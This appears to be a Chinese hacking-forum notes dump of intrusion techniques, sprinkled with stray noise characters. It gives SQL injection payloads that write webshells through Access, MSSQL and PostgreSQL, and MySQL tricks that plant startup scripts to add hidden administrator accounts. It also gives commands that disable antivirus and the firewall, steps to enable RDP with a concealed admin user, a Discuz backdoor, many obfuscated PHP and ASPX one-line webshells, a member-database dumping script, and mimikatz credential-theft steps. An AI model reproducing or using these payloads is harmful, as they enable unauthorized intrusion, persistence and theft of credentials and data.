' J; M+ d6 u3 g第二步:用netstat -ano命令,列出所有端口对应的PID值!
. i! J  \7 l/ E( k3 ]! Y   找到PID值所对应的端口
, F# _* r& ]5 `8 N0 q3 \, Q/ p; ~, K, F3 V" {' P
查询sql server 2005中的密码hash
% |7 S6 R, q9 u% p: y# e5 y2 x# PSELECT password_hash FROM sys.sql_logins where name='sa'8 h/ \( _1 W8 {, t( \
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a& c/ n/ e: S/ k/ `# E
access中导出shell" L  D# V! J/ ^5 O

; y; k4 u; O, ^* T  x- V  m中文版本操作系统中针对mysql添加用户完整代码:
: n; s* J9 n, u
1 M+ ~3 p: B: H$ fuse test;9 f! V, `; ~, T6 x$ o6 d' @# X
create table a (cmd text);
3 \3 ?; e7 f. T: }/ ]insert into a values ("set wshshell=createobject (""wscript.shell"") " );
) R5 e7 Z6 F8 v) {3 e1 Sinsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );9 \8 J3 X/ b) @0 k1 G
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
3 ?: x5 Y8 V7 wselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";; d; Z) t- M- ?- A9 }& @
drop table a;" {. l0 E5 p, T& H# \
* O. _% N( Y5 ^$ ]# A& p
英文版本:# O! V" V4 V2 c
5 w; g( D8 I; d: k* E7 n
use test;" u% y. q. U; D% r1 I
create table a (cmd text);
# O& m6 o# m( S( ^, a% g8 finsert into a values ("set wshshell=createobject (""wscript.shell"") " );
) @- y; T  i6 \' einsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
2 B, s" q( a; }' ^1 F4 Iinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
  [9 \1 ^$ c" D, \! O0 Qselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";; ^8 B7 K  D- z+ J3 v& S( E/ p
drop table a;
. O4 J& X% ]8 |* T, U
7 L9 f0 k1 Z- y  [) Z: u+ {create table a (cmd BLOB);: O2 f0 u9 a8 `; T; r, u
insert into a values (CONVERT(木马的16进制代码,CHAR));
  a) z* E& L+ {" O1 jselect * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
, g2 e6 b2 U( L# Jdrop table a;
+ h$ M6 V, K2 h( K3 t: ~1 U3 h- D6 r! o: {9 s
记录一下怎么处理变态诺顿) M* c! Y3 h/ i. w
查看诺顿服务的路径
. Z% H1 @! t: d& }sc qc ccSetMgr
! A% B5 M- H: S: P然后设置权限拒绝访问。做绝一点。。
* U2 Y3 z  V! {' F6 Y' B$ E+ ?6 jcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system, z+ C, {" Q2 x$ g! K
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"- ]4 r4 l4 b6 V$ j- o
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
, A" h0 L. o0 G! P2 N1 Wcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone
7 T( ~/ p' a0 ~' ^* ?, M) ?
& y3 r. [- a; Y2 E: H5 m* w+ W: k然后再重启服务器1 j7 ~; |7 f6 p5 y& C! B9 O* O
iisreset /reboot
" k7 D& e  @" u& N* ?$ m这样就搞定了。。不过完事后。记得恢复权限。。。。& \3 t/ z8 u& {" N# _) s' @
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F
2 \+ u3 `6 T  C! l; P2 R6 qcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F) a5 F7 d' c! [% i0 w
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F
, }' N; X+ ?7 |- s/ u0 ^cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F4 N& Q2 Z3 q' Z6 {- F! f  S3 s
SELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin0 f3 F5 f- U, u2 f* f

1 E5 C( w0 d$ l6 U. u: o7 P. [: SEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
& f3 {! B! d' G0 n
: X- J0 ?- I/ ~5 N6 Y, y' Jpostgresql注射的一些东西7 s, V, B: k2 w5 Q6 U# U
如何获得webshell
$ c! b4 ?! M1 W  A( M. s0 Ohttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); 0 Q/ v# s, H" B0 D: A4 V( W8 I/ |$ x
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); 6 Z! S% s) e, c! Z9 f7 ]
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
* v$ W0 L" L) `! h, W如何读文件3 e9 m7 Q! ~& s7 a( G9 J6 f
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
& X% R5 m% G9 i) xhttp://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
& J0 C2 J2 ~+ L6 Jhttp://127.0.0.1/postgresql.php?id=1;select * from myfile;! B$ k4 U1 q+ _5 F5 V1 g

3 r3 [) b' W/ h4 u( z& i" jz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
( j4 M7 E1 `/ g" U当然,这些的postgresql的数据库版本必须大于8.X
1 K5 |2 ~1 `1 d9 j* V, @1 }* N. `- K创建一个system的函数:/ N/ t2 s/ {3 m9 _8 @- M) \4 }! @
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT/ C8 N1 b( L6 q- J' O

/ g& \, b, x# v" V! S9 w1 \$ b创建一个输出表:
6 n3 D: n0 E+ B/ zCREATE TABLE stdout(id serial, system_out text)
" y- }% ?1 @" i: H% |( v6 \$ p4 }/ i; Q& Z7 C) e3 B6 H
执行shell,输出到输出表内:" ]5 r1 {4 Z, Y( k3 t5 }3 n$ K
SELECT system('uname -a > /tmp/test')
* E5 y5 @# d$ r$ B' P' U, c0 j
copy 输出的内容到表里面;
7 A3 y9 _* B7 ]/ W* b& oCOPY stdout(system_out) FROM '/tmp/test'
$ n" I0 \4 Q. z, p8 D
/ k2 [  A( n9 R! ^, \  C: m从输出表内读取执行后的回显,判断是否执行成功: h8 k  I0 u, k( |

. ^: k; J6 r1 e4 PSELECT system_out FROM stdout
& y/ n+ b+ o" @0 B/ u& ~下面是测试例子& d; z2 V1 z5 B0 V! ^* r$ r0 w. H9 k
$ r5 H! t! V3 T9 i8 C
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --
! L- D8 F4 R2 s$ ~- \
) Y" V3 l* \5 @- ?0 u3 A) g/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
4 {2 w* m  R7 K2 HSTRICT --
1 ~& I; r0 Y8 A: q
! q& ]2 j2 \3 K5 D/ w% [/store.php?id=1; SELECT system('uname -a > /tmp/test') --
2 d' J# t% a4 z" q6 H
- w, i, N% \' c! s, O  F/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --  [5 ^, }1 c2 Y* u3 W

9 [, J# X+ Q7 y" r5 N7 K/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--! {0 e+ C) \7 f' L. {1 E
net stop sharedaccess    stop the default firewall8 O$ i, h4 {1 M3 K7 |+ X" z: U" |
netsh firewall show      show/config default firewall. I( w2 C) W+ s$ b& h
netsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall
/ U: Q  ^( h8 P9 h3 Gnetsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall1 @8 a) T+ S$ K* C9 x$ C) X
修改3389端口方法(修改后不易被扫出)
$ |7 z1 q  X2 p0 q+ s8 H修改服务器端的端口设置,注册表有2个地方需要修改( Z: [) W  T9 A" E0 F2 W6 O

2 V5 X4 b! Z3 M; L[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]* e) F7 a) H( A5 ^( \' S9 n
PortNumber值,默认是3389,修改成所希望的端口,比如6000+ H# ]5 s5 I+ O5 W

5 g2 ]$ g! r2 {' m: [9 z第二个地方:( b/ U7 K4 `. P5 K3 D7 K+ s! P7 N
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 
! z5 R3 N* g# x! WPortNumber值,默认是3389,修改成所希望的端口,比如6000
6 N& W9 I, J+ I: `
- b) m" M+ Z1 r6 \; ~现在这样就可以了。重启系统就可以了
% o* Y' o+ r4 l4 _: n! u1 W2 f" |: K* e- [
查看3389远程登录的脚本
! w6 S! L  r+ |) q& |9 k& c保存为一个bat文件/ U, Z. `8 W& B; s- H8 R! J9 Q
date /t >>D:\sec\TSlog\ts.log: {+ l5 Q: y- m8 ~" j- N
time /t >>D:\sec\TSlog\ts.log
* o( M6 X: T: Q1 i7 K4 G# N& E4 ~netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log
# G) W2 b  \2 Z! ^5 \5 T4 s  D( ostart Explorer
5 Z5 p* `8 f7 U6 u: J2 d/ [0 J" V2 V! Z. U
mstsc的参数:
; q0 T. _) C, d0 B$ P3 \# S& ~9 ?: O1 g' t* y- b& M  [
远程桌面连接
  j; o& b, Q( d
( w7 K% p/ S5 a6 KMSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]
' q5 s3 W& l0 E9 {: v5 z  M  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?
  J6 d2 t3 }) P6 ]. e. h( e. k' g% k; i7 f5 Y3 t9 A
<Connection File> -- 指定连接的 .rdp 文件的名称。
4 z) w1 i# l3 O
$ t' s# n' s$ U) z2 ?9 [3 X, }/v:<server[:port]> -- 指定要连接到的终端服务器。6 }& v; l/ V6 n& w  P% v+ ^. Y
; s8 d. z8 d, D( i4 X4 M' V
/console -- 连接到服务器的控制台会话。" ^. E" E( X) a) |' }% I& P
; H2 w! H+ O& u& G
/f -- 以全屏模式启动客户端。
. _# g) f5 h* J9 H% Q1 Q+ m3 J5 l( J$ `, e) p  m4 X. l0 ]* v
/w:<width> --  指定远程桌面屏幕的宽度。
6 c! E& M+ D- `! Z  Z1 _+ m3 L' b
7 C* g. Y( I8 V, f/h:<height> -- 指定远程桌面屏幕的高度。
( }. q7 d% T2 k! {3 b
7 o" D- ?9 G/ O3 E4 h/ ^4 D: T/edit -- 打开指定的 .rdp 文件来编辑。
9 I. k! e% p1 t/ s; t4 {0 B: a
% ?4 n( R6 d% N- q, H/migrate -- 将客户端连接管理器创建的旧版
3 G: S6 U! j( l5 J( ]% f连接文件迁移到新的 .rdp 连接文件。
2 \* w, V/ N8 o1 e: Q0 L0 p
) o- t8 [0 u9 A2 L% P3 N' M) G/ e' G' a' h; L# f5 b9 S3 r
其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就
% t/ m  z! C9 v7 m" M3 r! Nmstsc /console /v:124.42.126.xxx 突破终端访问限制数量
# }+ J  k. n% _8 s! \0 a: y5 E
! [6 y( `5 u% i6 y命令行下开启3389
3 H4 M* l; V; E; i1 P% }/ Lnet user asp.net aspnet /add4 n3 U! H( h, L2 a7 i; X
net localgroup Administrators asp.net /add3 |6 k; W# t0 w( L- k& i/ `+ g
net localgroup "Remote Desktop Users" asp.net /add
7 E5 I5 t% P1 hattrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D* \0 E' w  ]4 i! j; Z# t$ P2 C
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 03 w5 I+ y/ q: P  P( J
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1
. Y/ w. t: k% t  Q* \' uecho Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f
- Q- h" \. d% H, L1 D2 \sc config rasman start= auto
+ X! B5 h$ H2 `# g( x7 k0 d) zsc config remoteaccess start= auto
8 D& u9 }: k! T: z" Ynet start rasman
0 A  S9 c: w8 Q6 Jnet start remoteaccess( T: G* A! B1 L9 }1 \# B
Media  \2 Q9 z$ N4 z! `; }' _
<form id="frmUpload" enctype="multipart/form-data"3 ]+ U9 M8 C6 Y  m; ]9 X  o; _
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>& E* e$ \2 {1 }3 S; s& W0 Z1 y# N# S
<input type="file" name="NewFile" size="50"><br>
; j. l" P. _7 n( R4 C: l<input id="btnUpload" type="submit" value="Upload">
3 O/ r- K7 z5 f6 t</form>2 A& k' ^  n8 B9 Y$ j% N1 [

3 d/ M# s  a- |; u/ xcontrol userpasswords2 查看用户的密码
, r, R9 q( W& b6 F) Saccess数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径
5 ?6 X( t) N  y7 V8 |; dSELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
% G1 ^: F8 S  \' B7 ^. `6 M2 k4 Q
- l, D! z, V/ R! Z4 p% u141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:; ?; N1 w$ @$ T- @* i
测试1:1 v% N4 c& G( L& l* Q! U
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1; E. A# ?# e# I1 s+ y9 w& U2 k

/ [  V- _, K& i6 [测试2:+ T8 L! r/ D2 J# _  }  R0 Q+ {
  Q# I' M9 f9 [" Y5 s) _
create table dirs(paths varchar(100),paths1 varchar(100), id int)  D) W# A* {- Z, @$ \5 N8 [6 ]
6 C, _% k- _/ L' H3 b# w0 m
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
& O' L; d- _) n5 k8 R- r2 Y
3 K: ?1 [) n9 n6 E; YSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
0 F( c% R+ P4 U9 H关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令$ A. w% f9 M3 ?
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
; r* T2 X+ `1 m. [2 U9 U) {7 k6 t+ }net stop mcafeeframework6 g# C& `6 Y2 b7 u
net stop mcshield
+ ~- o2 O$ k+ Vnet stop mcafeeengineservice
% a; g) Z5 ?$ a" R4 M) bnet stop mctaskmanager
7 m6 ~* Q' M5 a+ Y6 xhttp://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D
* L3 R  W: ~! n, {
! }6 w4 \* M+ b7 b4 ~3 `  VNCDump.zip (4.76 KB, 下载次数: 1)
) I0 t7 H- f8 [' h6 p1 w) D! H密码在线破解http://tools88.com/safe/vnc.php
! b8 L- D5 M$ W1 r3 xVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取, [! `5 z! ?* y& E6 `) G/ J
  d; z1 q# g# O, w$ |
exec master..xp_cmdshell 'net user'! _$ y' g- h3 ]8 W+ M) W' v* F
mssql执行命令。
  X$ f& x' ^1 q1 M+ F' ~: A7 Y7 M获取mssql的密码hash查询
# d: X% w% T& S5 |# u4 ?/ m; g- \select name,password from master.dbo.sysxlogins
, @& K, P$ `2 k; ?% W2 U/ u0 }
3 A' A) m, X% Q  ^& s- M3 q1 Fbackup log dbName with NO_LOG;! B: l) v3 t  [
backup log dbName with TRUNCATE_ONLY;
  L/ ?# S6 h7 |5 d. n& S% gDBCC SHRINKDATABASE(dbName);
! I9 `' B( y" Wmssql数据库压缩' [1 r  g% S9 o7 o" Z

# D/ W: F& R1 y3 e. k; b3 U4 h/ L5 d5 m! CRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
) V/ b9 c$ ]0 a/ ]9 [( A% L& ]将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。5 @" U/ T# o$ X2 B1 d$ L3 V  [
7 i: _2 h$ M6 I
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'" f) O3 C/ m6 B7 a! z; B
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
- r+ ~2 @- j5 q
( T( m; e4 j! DDiscuz!nt35渗透要点:
3 S$ ~9 U( _& q) z5 v(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
) l: X) k+ u, b(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>$ h) ]$ C; K3 p3 F
(3)保存。
$ x- ]! `$ V- G(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
" S6 U% H8 A$ [5 d2 ~. Gd:\rar.exe a -r d:\1.rar d:\website\# ?0 k* c9 k0 o6 `
递归压缩website
! k2 }  }' \/ a注意rar.exe的路径+ u3 F# t- Y1 ]- F

. k  G3 v0 l2 p( U+ _<?php* ]5 p: E8 B5 @

0 F" r* T# @, o( g& _$telok   = "0${@eval($_POST[xxoo])}";6 }3 Y: I. X* Z: m  Y' H" A5 D  I
, U! ~& c& k- `0 C  L  F
$username   = "123456";- N$ s7 p" w4 Q( W# Y4 a

1 U& s/ Q3 B4 {, D$userpwd   = "123456";6 A* ]8 D" t) ^7 p2 I
6 m  t2 ]  i) t& G4 F0 n( m
$telhao   = "123456";
; h/ z, X; C' T- {6 [
9 X& W) s& ~* t- {7 I! Z0 }$telinfo   = "123456";. `" A# {4 e( C/ I% ~* [

: z! [# Y9 n6 Q3 _8 ~& D! u?>
/ x) _/ E$ I( B& M$ p" M; f; Dphp一句话未过滤插入一句话木马
/ ^0 C3 i* z9 }9 o6 @9 V  A  x4 A0 _- L2 R, S( f( ~( H/ G
站库分离脱裤技巧2 M+ o1 z7 C- P2 A. R7 s: V
exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"': T* s8 O2 T, q: V+ x) r
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'$ f9 B* y" N: |+ H  L+ u
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
% N8 S' F' N/ f: l8 E. v: @这儿利用的是马儿的专家模式(自己写代码)。
' E5 y1 r' t8 D2 |" I( K! m6 l0 ^ini_set('display_errors', 1);
+ r- Q7 @1 C7 hset_time_limit(0);- Q" l4 U; f. q, I  v
error_reporting(E_ALL);
2 g# z- m' u4 q. t$ q1 f% [$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
. f" v/ y5 K6 K' f4 ^3 b9 A( d2 jmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
, c, [' j3 e& b# U$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());# F/ Q6 ~) q5 Q, n2 A
$i = 0;4 j, `0 e+ \  @& U: }. z
$tmp = '';8 z0 w$ l6 U! C) _9 A" p
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {. W5 j+ B; C+ H
    $i = $i+1;
. i8 t( }/ O2 X0 f; Q    $tmp .=  implode("::", $row)."\n";2 i& z) L6 P0 T
    if(!($i%500)){//500条写入一个文件+ g% [6 n3 i, `4 b# B1 p' x
        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';4 N2 [! Z. O6 I* M
        file_put_contents($filename,$tmp);
! _+ ?; @3 n  q* X6 b        $tmp = '';; ]6 S& Z, P0 W
    }
3 t7 e6 G5 b' `, L6 G}
0 n: d7 ]  u- T: bmysql_free_result($result);  k, j; c5 g" J4 L: x* e' ?
/ [6 f6 Y- n. a7 [7 j' b: |) P. M) u
9 A/ k' C  n* e3 g  t( \, c

. ^. y( J( T1 n( J; _//down完后delete) `" k) u9 M9 H2 p

. q3 `8 w/ `3 O3 w7 \% m% ^- c# \
% C# `  J; A$ Q9 W, Gini_set('display_errors', 1);* s. e( b- K/ Y. T* B
error_reporting(E_ALL);
) T' ~7 W1 u) p$ y* i$ \$i = 0;
2 ^, Q8 K1 C* ?0 i8 H$ Jwhile($i<32) {3 d- @8 a1 }" \
    $i = $i+1;
0 E2 X8 `( ?, ~# C        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
- \; }( q0 k2 Y: E        unlink($filename);
) l2 K, U  E* f/ }7 Z/ @}
/ Z" ~" X. o: G# O, Y/ Jhttprint 收集操作系统指纹$ O& m# a+ G: v
扫描192.168.1.100的所有端口3 V5 z/ T& I% g1 v2 Q3 b
nmap –PN –sT –sV –p0-65535 192.168.1.100  m- E: t) x1 b6 R) F: }# o
host -t ns www.owasp.org 识别的名称服务器,获取dns信息, G7 z% }, X+ O' u! r- P! _+ x0 a, y
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输
. S( P- r4 \* y9 J. T, ^+ N/ SNetcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host, s$ k. r5 z' c% x/ r2 D: W0 [

# j" n& a7 J7 M- |Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)
! U2 }7 t2 T0 g2 A7 h
) h) i: D4 c% ~+ X# M! d' }' M6 ]  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
2 t7 o8 p/ X: `" ]& ~. c0 f4 a3 o6 W* t
  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x1 }9 c" B/ S1 u8 J2 F$ s: H7 o
) K! z/ i4 L5 d4 ?
  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)
# `9 w9 f" p; S9 W7 _& N1 C- r+ j, p$ x) S" ?; h
  http://net-square.com/msnpawn/index.shtml (要求安装)7 @3 Z5 G% n4 j  N' i  q6 p

( {1 b* Y! u8 o. k  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)% c; u3 m& c* @/ a
) E% G/ N! t2 b% e
  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)" A* p' r6 B9 K1 b
set names gb2312- R, E0 D7 e3 a* m/ k
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
* I* d* `+ O8 K; U% K' ?: ^
3 a! e7 C/ H, \! ]9 Pmysql 密码修改# }* `% K. C) _, k4 _  L
UPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ” 5 O: p) N4 u$ L
update user set password=PASSWORD('antian365.com') where user='root';( D* B) p4 H4 _* Y. C  H1 r* i" n
flush privileges;
; [: y7 w& ?3 R8 w) x) ~8 ~高级的PHP一句话木马后门
# e% D+ B& c0 ]+ n
+ K0 j3 R9 E* t3 M, K入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀
* [/ j( I! Q4 f
/ N4 h- ~8 a3 K2 {2 _+ s) {  l: K, \1、  j1 V6 K0 j6 [+ z* z' a* A3 X, F
& h3 t7 F) l% Y4 Y  C* E- [* {
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
, ^% h5 ~9 u2 h! U4 w5 _* y9 i1 i5 R& v# e" H' \2 C5 B
$hh("/[discuz]/e",$_POST['h'],"Access");
. M5 e% G3 U# i
8 B  {0 o: J, u//菜刀一句话- w% Z: r; @: ]% g6 ?2 ]

, W' d) ]- L7 o, e, a/ t# _2、9 n9 g& U0 C% ?, a/ T* B

# T  p" D. g' G8 W( O# W$filename=$_GET['xbid'];
. J$ f+ U, y" m/ P' @0 n. C
! e8 c4 u; ~. \, m9 rinclude ($filename);
1 k6 q/ E! w/ U. i+ |
. B& v! o. M- ]2 H) ]1 `) v//危险的include函数,直接编译任何文件为php格式运行. {* d" P: O' |2 l

% B# Y+ `  g9 c8 J1 R5 r  m3、
) \6 \1 M" K; O" }& [2 j0 P# V- W& ]6 x: H
$reg="c"."o"."p"."y";' O7 _# K; i% R! j% b9 q

5 X0 N1 O% {6 q# O  G$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
7 N) m# f2 K& C9 `7 s" ~
& J/ e" C4 E; X2 G/ w5 t4 M1 B& Z//重命名任何文件
! F7 V. `; O# P/ a) F- r& u
+ K- b2 ~" r, e5 U# Y4、% A: F5 W/ [3 k: ~

7 D* }. f. M# Y- f2 W8 g) H! Q- [$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
# Q9 }( K% a5 X' |( X" _" ]
1 f2 O/ l) W1 H2 A$gzid("/[discuz]/e",$_POST['h'],"Access");4 u9 k( N1 ?6 T
6 |  ?# K4 O+ V- G' ?7 N
//菜刀一句话
3 z  V4 r6 ~# a7 U: q
. J% a& P. Q2 l3 \6 k0 c5、include ($uid);: s) F( O) A+ t- u# m6 L" V
- l- s9 K/ C$ y1 d/ G
//危险的include函数,直接编译任何文件为php格式运行,POST - s3 O! @+ f7 t9 [2 n
' Y: S. U2 W! v2 H4 [. c! E
) S" {* y! v; p- I
//gif插一句话, |  r% H" m: O" v! h/ Y7 g
: p8 D8 m/ o8 ^+ y
6、典型一句话
+ S0 k% ?6 ]3 G; A9 [" L& O
* W4 z3 [6 {4 x. T2 ^4 W程序后门代码
( E8 Q! f: q0 W2 O2 b# H( i5 s<?php eval_r($_POST[sb])?>
: g. X  Q8 Y! M5 w- u程序代码
2 ~* ^- k" n9 c' X% R<?php @eval_r($_POST[sb])?>, x2 [# J  P8 }+ h0 e
//容错代码
  s! {1 L3 q$ G3 Z4 f: \程序代码
$ S5 e1 }; K. t9 ?7 w  M<?php assert($_POST[sb]);?>$ m& v3 D1 A* t
//使用lanker一句话客户端的专家模式执行相关的php语句) |6 o- w  r& X' S
程序代码- |0 x5 h* \; I9 X  z! Q  v
<?$_POST['sa']($_POST['sb']);?>. @* i& P2 n7 ?1 C4 J
程序代码3 ?* T0 _( o0 z4 @7 V' u
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
" _1 o$ u2 I7 I3 z, n; f程序代码. p* n7 J" Y' k  h. H0 J
<?php
3 g1 O$ d6 [) D- O) p2 {@preg_replace("/[email]/e",$_POST['h'],"error");
/ D0 A- e' c6 k. p2 i; v: c8 c: j. k' [?>
# k* x: n7 d& O2 k$ E//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入. b# G1 W7 F+ f
程序代码
4 F: b2 _, U+ D, ]& Y2 e0 J; l) }<O>h=@eval_r($_POST[c]);</O>
0 o9 v* t! i( }9 y( p1 ?程序代码* A1 W8 d/ j/ S/ y) D' K
<script language="php">@eval_r($_POST[sb])</script>9 d: H- R3 w5 b5 l
//绕过<?限制的一句话) c; Q$ a0 ^7 R
' r+ f& Z  q) Z) ^0 q& V0 `* P
http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip+ J9 S7 I3 M2 C( Z  m, E
详细用法:
6 S$ S- Y5 Y$ G+ J( c: x1、到tools目录。psexec \\127.0.0.1 cmd, t( `' q7 D9 M% I( j
2、执行mimikatz
) K( D  W+ R0 P2 S3 _( {3、执行 privilege::debug& K, N% r' d! l, K
4、执行 inject::process lsass.exe sekurlsa.dll$ Q! ]! }. A0 d; G
5、执行@getLogonPasswords0 k3 E- [0 m3 B+ A" I2 t. u9 h
6、widget就是密码9 b" D3 ?# `- f# a* I; \
7、exit退出,不要直接关闭否则系统会崩溃。
$ K3 O& `. S" f  F. o
% p+ w3 V! P0 Y, u: Ehttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面' L* m- T" ~/ ]9 o/ m7 `

& \' Z4 {" m6 M+ }+ L3 O/ i自动查找系统高危补丁  O$ }3 h2 C  G/ K( N! K
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt
; V- A' P/ x2 H5 a5 y2 k2 d( h) L) w  I3 I( q# F
突破安全狗的一句话aspx后门- c6 J! W5 R% E6 J8 {6 m5 [
<%@ Page Language="C#" ValidateRequest="false" %>, r9 K: t  h. N+ `' D& @) D
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>( F) `  |9 u/ N) j
webshell下记录WordPress登陆密码
! O6 X9 d* x5 }3 L7 c3 dwebshell下记录Wordpress登陆密码方便进一步社工
6 V+ K. k+ @( p- Q1 f在文件wp-login.php中539行处添加:0 p. y6 e! @8 H2 h1 R# O
